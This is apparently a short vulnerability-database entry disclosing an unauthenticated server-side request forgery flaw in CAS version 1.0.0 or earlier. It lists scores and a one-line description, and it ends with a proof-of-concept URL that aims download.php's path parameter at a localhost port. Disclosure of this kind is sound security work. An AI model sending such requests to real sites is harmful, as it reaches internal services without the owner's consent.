CAS <= 1.0.0 - Unauthenticated SSRF

2024-05-0200:00:00

Aly Khaled Aly Abd Al-aal

cas vulnerability ssrf poc disclosure date

AI Score

6.9

Confidence

High

EPSS

Percentile

9.0%

Description The plugin does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attack

https://example.com/wp-content/themes/cas/download.php?path=http://127.0.0.1:8080